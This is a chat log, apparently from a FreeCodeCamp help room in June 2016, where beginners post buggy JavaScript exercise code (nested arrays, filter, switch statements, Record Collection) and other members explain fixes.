applications instead of just always trying to XSS or SQL inject them haha Markus Kiili @Masd925 Jun 15 2016 07:33 UTC @stricknein ok, nice. stricknein @stricknein Jun 15 2016 07:33 UTC @munga4 what do you need help with Markus Kiili @Masd925 Jun 15 2016 07:34 UTC @himanshu081996 arr holds only the first passed argument [1, 2, 3, 1, 2, 3]. Shikhar Kapila @shikhar0507 Jun 15 2016 07:34 UTC This message was deleted This message was deleted Kelvin Mungai @munga4 Jun 15 2016 07:34 UTC @stricknein Am trying to run it but its not working... am not sure if I have done it the right way. Shikhar Kapila @shikhar0507 Jun 15 2016 07:35 UTC This message was deleted Kelvin Mungai @munga4 Jun 15 2016 07:35 UTC @stricknein myData should be equal to 8. @munga4 stricknein @stricknein Jun 15 2016 07:35 UTC @munga4 format your code with  and another set at teh end of your code and paste in what you have so I can look Kelvin Mungai @munga4 Jun 15 2016 07:36 UTC @stricknein // Setup var myArray = [[1,2,3], [4,5,6], [7,8,9], [[10,11,12], 13, 14]]; // Only change code below this line. var myData = myArray[0][0]; myData should be equal to 8. You should be using bracket notation to read the value from myArray. You should only be reading stricknein @stricknein Jun 15 2016 07:37 UTC @munga4 so how would you access 8 ? @munga4 how many arrays are in there ? and what is the position of 8 ? Shikhar Kapila @shikhar0507 Jun 15 2016 07:37 UTC Why is the code only returning a single elemnt from last array [1001] and not other respective first elements from other array? function largestOfFour(arr) { for (var i =0; i <arr.length;i++){ arr[i].sort(function(a,b){ return b -a; }); } for (var x =0;x < arr.length;x++ ) { var new_arr = []; new_arr.unshift(arr[x].shift()); } return new_arr; } largestOfFour([[4, 5, 1, 3], [13, 27, 18, 26], [32, 35, 37, 39], [1000, 1001, 857, 1]]); i guess i made an error in the declaration part of the second for loop? stricknein @stricknein Jun 15 2016 07:39 UTC @munga4 arrays start at an index of 0, so you need to count the location of the array that holds the value of 8 in it. then you need to count the location of 8 in its nested array @stricknein then you plug those numbers into each [] respectively Shikhar Kapila @shikhar0507 Jun 15 2016 07:43 UTC ?? himanshu mittal @himanshu081996 Jun 15 2016 07:43 UTC @shikhar0507 in second loop just reurn new_arr=arr[x][0]; i mean new_arr[x]=arr[x][0]; then finaly return new_arr; Kelvin Mungai @munga4 Jun 15 2016 07:46 UTC @stricknein myData [0] =7; like this GaneshCloud @GaneshCloud Jun 15 2016 07:48 UTC Hello World CamperBot @camperbot Jun 15 2016 07:48 UTC ## welcome to FreeCodeCamp @GaneshCloud! Kelvin Mungai @munga4 Jun 15 2016 07:49 UTC Am stuck on this you can just show me its done @stricknein Am stuck on this you can just show me its done stricknein @stricknein Jun 15 2016 07:53 UTC @munga4 sorry was helping some one else @munga4 you have to refer to each array that you are accessing in order to get your value @munga4 do you know what a multi demensional array is ? himanshu mittal @himanshu081996 Jun 15 2016 07:55 UTC anyone plzz help me to solve this function destroyer(arr) { var array= arr.filter(function(argument){ for(var i=1;i<arr.length;i++){ return argument!==arr[i]; } }); return array; } destroyer([1, 2, 3, 1, 2, 3], 2, 3); stricknein @stricknein Jun 15 2016 07:56 UTC @munga4 Read up on them if you do not understand. I will not tell you because you will not learn anything http://www.techrepublic.com/article/multidimensional-arrays-in-javascript/ @himanshu081996 your are not using filter correctly @himanshu081996 filter already enumerates for you so no need for the for loop in the function himanshu mittal @himanshu081996 Jun 15 2016 07:58 UTC @stricknein so how can i remove all elements Markus Kiili @Masd925 Jun 15 2016 07:58 UTC himanshu mittal @himanshu081996 Jun 15 2016 07:59 UTC @Masd925 okk im checking Ankit Panwar @coderNoob Jun 15 2016 08:00 UTC @himanshu081996 First you need to split the arr since it has a nest array. stricknein @stricknein Jun 15 2016 08:01 UTC @himanshu081996 references the args passed in then form a conditional to return what you want Markus Kiili @Masd925 Jun 15 2016 08:01 UTC @coderNoob No arr holds only [1, 2, 3, 1, 2, 3] stricknein @stricknein Jun 15 2016 08:01 UTC @himanshu081996 reference* Gustavo Godoy @imgustavo Jun 15 2016 08:02 UTC Hi everybody himanshu mittal @himanshu081996 Jun 15 2016 08:03 UTC still im not getting this Tim @t1flanagan Jun 15 2016 08:04 UTC can anyone tell me how to replace non-alphanumeric, non-whitespace characters from a string (ex. /():-., etc.)? Ankit Panwar @coderNoob Jun 15 2016 08:04 UTC @himanshu081996 What you need to do is extract the numbers that need to be deleted from the argument. Then look for these numbers in the array and remove them if found. @himanshu081996 refer the links provided in the exercise. himanshu mittal @himanshu081996 Jun 15 2016 08:05 UTC @t1flanagan use regex stricknein @stricknein Jun 15 2016 08:05 UTC what are you not getting do you know how the arguments behave that are comming in ? himanshu mittal @himanshu081996 Jun 15 2016 08:06 UTC no Kelvin Mungai @munga4 Jun 15 2016 08:06 UTC @Masd925 Hi can you help me on this, myData should be equal to 8. You should be using bracket notation to read the value from myArray. You should only be reading one value from myArray @Masd925 myData [0] =4; I have this stricknein @stricknein Jun 15 2016 08:06 UTC @himanshu081996 did you read the link that @Masd925 sent you ? Tim @t1flanagan Jun 15 2016 08:07 UTC @himanshu081996 I'm trying, but is there a way to remove them all? Like how /\s+/g will remove whitespace characters? Gustavo Godoy @imgustavo Jun 15 2016 08:07 UTC I was reading the documentation in w3. And they says at the end of this link: "Do Not Declare Strings, Numbers, and Booleans as Objects!" http://www.w3schools.com/js/js_objects.asp //www.w3schools.com/js/js_objects.asp So it's wrong this code? Or they are referring to another thing? I'm not quite sure. http://codepen.io/do_while/pen/PzzYpQ stricknein @stricknein Jun 15 2016 08:07 UTC @himanshu081996 I will explain it, arguments refers to the arguments that are being passed into your function as local variables. You can reference them as the parameters that are defined or you can reference them using index notatation because they are apart of an array himanshu mittal @himanshu081996 Jun 15 2016 08:08 UTC @t1flanagan (/[.,\/#!$%\^&*;:{}=-_~()]/g,"");
use this
Tim
@t1flanagan
Jun 15 2016 08:08 UTC
ugh, I was hoping to avoid that :) Thank you.
stricknein
@stricknein
Jun 15 2016 08:08 UTC
@himanshu081996 arguments[0] referes to the array that you need to compare against. arguments[1] -[3] refere to the other arguments being passed in
@himanshu081996 in other words you can access the local variable being passed into your function by the names that you specify in your parameter list, (in your function deff) or by using the arguments object that stores them in an array.
SBeard
@etacalpha
Jun 15 2016 08:11 UTC
@t1flanagan try /\W/g, ''
James Dui
@jamesMD
Jun 15 2016 08:23 UTC

Having troubles.... It doesn't return numbers, only undefined...

// Setup
function abTest(a, b) {
// Only change code below this line
if (a<0||b<0);{
return;}

// Only change code above this line

return Math.round(Math.pow(Math.sqrt(a) + Math.sqrt(b), 2));
}

// Change values below to test your code
abTest(2,2);

Coy Sanders
@coymeetsworld
Jun 15 2016 08:23 UTC
@jamesMD you need to remove the semicolon in the if statement
Vinay Jaju
@vinay-jaju
Jun 15 2016 08:24 UTC
In everything be true problem....
truthCheck([{"user": "Tinky-Winky", "sex": "male", "age": 0}, {"user": "Dipsy", "sex": "male", "age": 3}, {"user": "Laa-Laa", "sex": "female", "age": 5}, {"user": "Po", "sex": "female", "age": 4}], "age") should return false
Could anyone explain me this case. Every item consists of a property age then why does it have to return false?
Coy Sanders
@coymeetsworld
Jun 15 2016 08:24 UTC
or else that blank return will always go through
James Dui
@jamesMD
Jun 15 2016 08:24 UTC
@coymeetsworld thanks... that solved it! Can you explain in depth what does it mean that blank return will always go through due to that semi colon?
CamperBot
@camperbot
Jun 15 2016 08:24 UTC
jamesmd sends brownie points to @coymeetsworld :sparkles: :thumbsup: :sparkles:
:star2: 1153 | @coymeetsworld |http://www.freecodecamp.com/coymeetsworld
Coy Sanders
@coymeetsworld
Jun 15 2016 08:25 UTC
w/ the semicolon there the statement is done processing
Abhijit
@blackbirdabhi
Jun 15 2016 08:25 UTC

hi guys need some help with challenge Record Collection. I keep passing 4/5 in this challenge. There's this one error that pops up all the time.
"After updateRecords(5439, "tracks", "Take a Chance on Me"), tracks should have "Take a Chance on Me" as the last element.".
My solution is given below.
function updateRecords(id, prop, value) {
if (value === '') {
delete collection[id][prop];
} else if (prop !== 'tracks') {
collection[id][prop] = value;
} else {
collection[id][prop].push(value);
}

return collection;
}

Vinay Jaju
@vinay-jaju
Jun 15 2016 08:25 UTC
Check if the predicate (second argument) is truthy on all elements of a collection (first argument).
what does this statement means?
Coy Sanders
@coymeetsworld
Jun 15 2016 08:25 UTC
meaning the code inside the brackets is separate from the if statement
James Dui
@jamesMD
Jun 15 2016 08:26 UTC
oooh!!! thank you. It's like a sentence. It wasn't a complete sentence yet, so semicolon made it fragmented.
Coy Sanders
@coymeetsworld
Jun 15 2016 08:26 UTC
yeah, w/o the semicolon it would only run what is inside the bracket if the statement is true
but since you had it, it will always run regardless if if statement is true or false
Rahul Chaurasia
@rahulchaurasia01
Jun 15 2016 08:31 UTC
SomE One plZZ tell me the soln of this
@shusil123
Jun 15 2016 08:32 UTC
@rahulchaurasia01 , post what you have. or you haven't started yet ?
Rahul Chaurasia
@rahulchaurasia01
Jun 15 2016 08:32 UTC
started

function nextInLine(arr, item) {
return arr[0] * item; // Change this line
}
var pre;

pre = nextInLine([1,2,3,4,10], 10);
// Test Setup
var testArr = [1,2,3,4,10];

// Display Code
console.log("Before: " + JSON.stringify(testArr));
console.log(nextInLine(testArr[0],10)); // Modify this line to test
console.log("After: " + JSON.stringify(testArr));

k_vdp
@1koenvdp
Jun 15 2016 08:34 UTC
Exercise freecodecamp, Bonfire, Mutations.: "Return true if the string in the first element of the array contains all of the letters of the string in the second element of the array." Why doesn't this code give the result?
@shusil123
Jun 15 2016 08:34 UTC
@rahulchaurasia01 , why are you using *, there ?
Saparbekov Azat
@Deathstroke97
Jun 15 2016 08:36 UTC
Hi everyone
@shusil123
Jun 15 2016 08:36 UTC
just use push to push the item to the end of the aray
Saparbekov Azat
@Deathstroke97
Jun 15 2016 08:36 UTC
Rahul Chaurasia
@rahulchaurasia01
Jun 15 2016 08:36 UTC
leave, what should i do
Saparbekov Azat
@Deathstroke97
Jun 15 2016 08:36 UTC
@shusil123
Jun 15 2016 08:37 UTC
and then use shift to return the removed element / remove element . @rahulchaurasia01
Saparbekov Azat
@Deathstroke97
Jun 15 2016 08:37 UTC
I am dealing with this problem and can not figure out what is wrong with my code
Rahul Chaurasia
@rahulchaurasia01
Jun 15 2016 08:37 UTC
@shusil123 should i write in the function ?
@shusil123
Jun 15 2016 08:37 UTC
@Deathstroke97 , post the code , not the screen shot
Saparbekov Azat
@Deathstroke97
Jun 15 2016 08:37 UTC
can anyone give me a feedback
,
@shusil123 i want you guys to see the given task too
not only the code
so can anyone hekp me?
I will be very grateful
@shusil123
Jun 15 2016 08:40 UTC
@1koenvdp , define i , like var i=0; .........
@rahulchaurasia01 , yes, first arr.push(item); and then return arr.shift();
Rahul Chaurasia
@rahulchaurasia01
Jun 15 2016 08:42 UTC
(y)
@shusil123
Jun 15 2016 08:42 UTC
@Deathstroke97 , you are not iterating over the array. There are many contacts
Saparbekov Azat
@Deathstroke97
Jun 15 2016 08:43 UTC
@shusil123 you mean i need to use for cycle,
?
@shusil123
Jun 15 2016 08:43 UTC
for (var i=0; i<contacts.length; i++) {if (contacts[i].firstName===firstName)}...like this
@Deathstroke97
Saparbekov Azat
@Deathstroke97
Jun 15 2016 08:43 UTC
ок ок
thank you)
@shusil123
Jun 15 2016 08:43 UTC
@Deathstroke97 , np
Rahul Chaurasia
@rahulchaurasia01
Jun 15 2016 08:44 UTC
@shusil123
like this

function nextInLine(arr, item) {

testArr.push(6);
testArr.push(7);
testArr.push(8);
testArr.push(9);
return testArr.shift(); // Change this line
}

// Test Setup
var testArr = [1,2,3,4,5];

// Display Code
console.log("Before: " + JSON.stringify(testArr));
console.log(nextInLine(testArr, 6)); // Modify this line to test
console.log("After: " + JSON.stringify(testArr));

@shusil123
Jun 15 2016 08:44 UTC
@rahulchaurasia01 , have you completed it ?
Rahul Chaurasia
@rahulchaurasia01
Jun 15 2016 08:44 UTC
nah
:(
@shusil123
Jun 15 2016 08:45 UTC
@rahulchaurasia01 , nooo. just arr.push(item); will do, you don't need to do anything with testArr
Rahul Chaurasia
@rahulchaurasia01
Jun 15 2016 08:45 UTC
ok
@shusil123
Jun 15 2016 08:45 UTC
 // Your code here
arr.push(item);
return arr.shift();  // Change this line
@rahulchaurasia01
Rahul Chaurasia
@rahulchaurasia01
Jun 15 2016 08:47 UTC
@shusil123 DOnE :)
@shusil123
Jun 15 2016 08:47 UTC
@rahulchaurasia01 :+1:
Rahul Chaurasia
@rahulchaurasia01
Jun 15 2016 08:49 UTC
@shusil123 can u explain me
arr.push(item);
return arr.shift();
@shusil123
Jun 15 2016 08:50 UTC
We first add the provided item to the end of the arr using push.
dheerajahuja000
@dheerajahuja000
Jun 15 2016 08:50 UTC
has anyone worked on selenium javascript webdriver?
i need a small help
Rahul Chaurasia
@rahulchaurasia01
Jun 15 2016 08:50 UTC
yaa i know but after .push (item) ???
item ??
@shusil123
Jun 15 2016 08:50 UTC
And then we remove the first element and return it using shift, since shift returns the removed element. @rahulchaurasia01
Yes, item is provided via function argument, therefore whatever item is provided, we have to push that one to the end of the array @rahulchaurasia01
Markus Kiili
@Masd925
Jun 15 2016 08:52 UTC
@rahulchaurasia01 arr and item are parameters that hold the passed arguments (function input).
Rahul Chaurasia
@rahulchaurasia01
Jun 15 2016 08:52 UTC
@Masd925 i knw tht
Markus Kiili
@Masd925
Jun 15 2016 08:52 UTC
@rahulchaurasia01 ok
Rahul Chaurasia
@rahulchaurasia01
Jun 15 2016 08:53 UTC
@Masd925 @shusil123 i GoT IT :)
@shusil123
Jun 15 2016 08:53 UTC
@rahulchaurasia01 :smile: :clap:
Kashif Mohammed
@Spyreo
Jun 15 2016 08:54 UTC
Hello
anyone can help me?
Hi shushil
@shusil123
Jun 15 2016 08:54 UTC
Yes, @Spyreo
Kashif Mohammed
@Spyreo
Jun 15 2016 08:55 UTC
function caseInSwitch(val) {
// Only change code below this line
@shusil123
Jun 15 2016 08:55 UTC
can you post your code ?
Kashif Mohammed
@Spyreo
Jun 15 2016 08:55 UTC
How can i start the switch statement here?
switch(val){
?
Yomaris
@Yomaris
Jun 15 2016 08:55 UTC
yes
@shusil123
Jun 15 2016 08:55 UTC
yes, that's it
and then case (val); , val may be 1,2,"abc", case 1: return jfjf; break; @Spyreo
Kashif Mohammed
@Spyreo
Jun 15 2016 08:57 UTC
case 1: return "alpha"; break;
Seems fine?
@shusil123
Jun 15 2016 08:57 UTC
switch (val) {
case 1:
return "one";
break;

case 2:

}
@Spyreo
Like this..
Kashif Mohammed
@Spyreo
Jun 15 2016 08:58 UTC
Thank you @shusil123
CamperBot
@camperbot
Jun 15 2016 08:58 UTC
spyreo sends brownie points to @shusil123 :sparkles: :thumbsup: :sparkles:
Kashif Mohammed
@Spyreo
Jun 15 2016 08:58 UTC
Are you done with the front-end thing?
@shusil123
Jun 15 2016 08:58 UTC
@Spyreo , almost done. 2-3 projects remaining.
Kashif Mohammed
@Spyreo
Jun 15 2016 08:59 UTC
That's nice
Keep going mate
Yomaris
@Yomaris
Jun 15 2016 09:00 UTC
How to do that Counting Cards?
@shusil123
Jun 15 2016 09:00 UTC
@Spyreo :smile: :sparkles: Thanks mate. You too.
CamperBot
@camperbot
Jun 15 2016 09:00 UTC
shusil123 sends brownie points to @spyreo :sparkles: :thumbsup: :sparkles:
@shusil123
Jun 15 2016 09:01 UTC
@Yomaris , you can use if / else if...
Yomaris
@Yomaris
Jun 15 2016 09:01 UTC
i have used
but....
@shusil123
Jun 15 2016 09:01 UTC
Can you post the code ?? @Yomaris
Yomaris
@Yomaris
Jun 15 2016 09:02 UTC

var count = 0;

function cc(card) {
// Only change code below this line

return "Change Me";
// Only change code above this line
}

// 提示: Only the last will display
cc(2); cc(3); cc(7); cc('K'); cc('A');

i delet my code just now
this is the rubric
Markus Kiili
@Masd925
Jun 15 2016 09:04 UTC
@Yomaris Check the card using if/switch/lookup and change count accordingly. Figure out return value from count (not card).
@shusil123
Jun 15 2016 09:04 UTC
@Yomaris , start writing conditions .
if (card=1||card=2.......) {
return "whatever";
}

else if (card=6||card=7.....) {
return "Whatever";
}
Like this, and use ===, not =
The conditions are given in the table aside,
Yomaris
@Yomaris
Jun 15 2016 09:05 UTC
i am going to give it a try
Markus Kiili
@Masd925
Jun 15 2016 09:06 UTC
@shusil123 You should only change value of count on those if's. Then after checks figure the return value out from count (because count is a global variable that changes on each function call).
@shusil123
Jun 15 2016 09:08 UTC
@Yomaris , Look what @Masd925 is saying. You can define a global variable , count and then change the values of it, regarding conditions, and finally, return appropriate string on the basis of count.
Yomaris
@Yomaris
Jun 15 2016 09:08 UTC
i don't how to change th count
it seems that the sum
Markus Kiili
@Masd925
Jun 15 2016 09:08 UTC
@Yomaris count=count+1; for example.
Yomaris
@Yomaris
Jun 15 2016 09:10 UTC
i will try
thank you
Kashif Mohammed
@Spyreo
Jun 15 2016 09:18 UTC
Shushil
@shusil123
Jun 15 2016 09:19 UTC
@Spyreo , yes. you can tag me by typing @shusil123 .
:smile:
Kashif Mohammed
@Spyreo
Jun 15 2016 09:19 UTC
// Setup
function abTest(a, b) {
// Only change code below this line

// Only change code above this line

return Math.round(Math.pow(Math.sqrt(a) + Math.sqrt(b), 2));
}

// Change values below to test your code
abTest(2,2);
Modify the function abTest so that if a or b are less than 0 the function will immediately exit with a value of undefined.
I dont get it
it gave me a console.log example
do i need to do it that way or i can try with if else?
Sarasper
@Sarasper
Jun 15 2016 09:20 UTC

My seek and destroy code works fine but there is a warning . How can i make this better with a function outside destroyer function. And how can i post codes :)
function destroyer(arr) {
// Remove all the values
var args = Array.prototype.slice.call(arguments, 1);

for(var i=0; i < args.length;i++) {
arr = arr.filter(function(value) {
return value !== args[i];
});
}

return arr;
}

destroyer([1, 2, 3, 1, 2, 3], 2, 3);

Kelvin Mungai
@munga4
Jun 15 2016 09:20 UTC
@shusil123 help to solve this, var myData = myArray[0][0];
myData [3] =2;
@shusil123
Jun 15 2016 09:21 UTC
@Spyreo , you can do it with if/else.
@munga4 , which challenge is this ?
Kelvin Mungai
@munga4
Jun 15 2016 09:21 UTC
@shusil123 myData should be equal to 8.
You should be using bracket notation to read the value from myArray.
You should only be reading one value from myArray.
Access MultiDimensional Arrays With Indexes
@shusil123 Access MultiDimensional Arrays With Indexes
@shusil123
Jun 15 2016 09:22 UTC
If you are accessing it then only return myData. @munga4
Markus Kiili
@Masd925
Jun 15 2016 09:23 UTC
@Sarasper Better to put the loop inside filter callback.
@shusil123
Jun 15 2016 09:24 UTC
I see now. the first index is for main arrays inside. and the second for nested array elements. @munga4
You can do myArray[2][1], to access 8 because it's in the 3rd array and it's the second element in that array
var myData = myArray[2][1];
Yomaris
@Yomaris
Jun 15 2016 09:26 UTC

@shusil123 var count = 0;

function cc(card) {
// Only change code below this line
switch(card){
case 2||3||4||5||6:
count=count+1;
break;
case 7||8||9:
count=count+0;
break;
case 10||'J'||'Q'||'K'||'A':
count=count-1;
break;

}

return "count";
// Only change code above this line
}

Kashif Mohammed
@Spyreo
Jun 15 2016 09:27 UTC
use ""
For pasting caode @Yomaris
@shusil123
Jun 15 2016 09:27 UTC
@Yomaris , you have to write different cases.
Yomaris
@Yomaris
Jun 15 2016 09:28 UTC
different cases?
@shusil123
Jun 15 2016 09:28 UTC
case 2:
case 3:
case 4:
case 5:
case 6:
count = count + 1;
break;
@Yomaris
Like this, for every other cases too
Yomaris
@Yomaris
Jun 15 2016 09:28 UTC
well
juw3lstar
@juw3lstar
Jun 15 2016 09:30 UTC
@shusil123 why dont you write count = count + 1; as count++;? ;)
I have a qustion, is this push-line correct: collection[id][prop].push(value);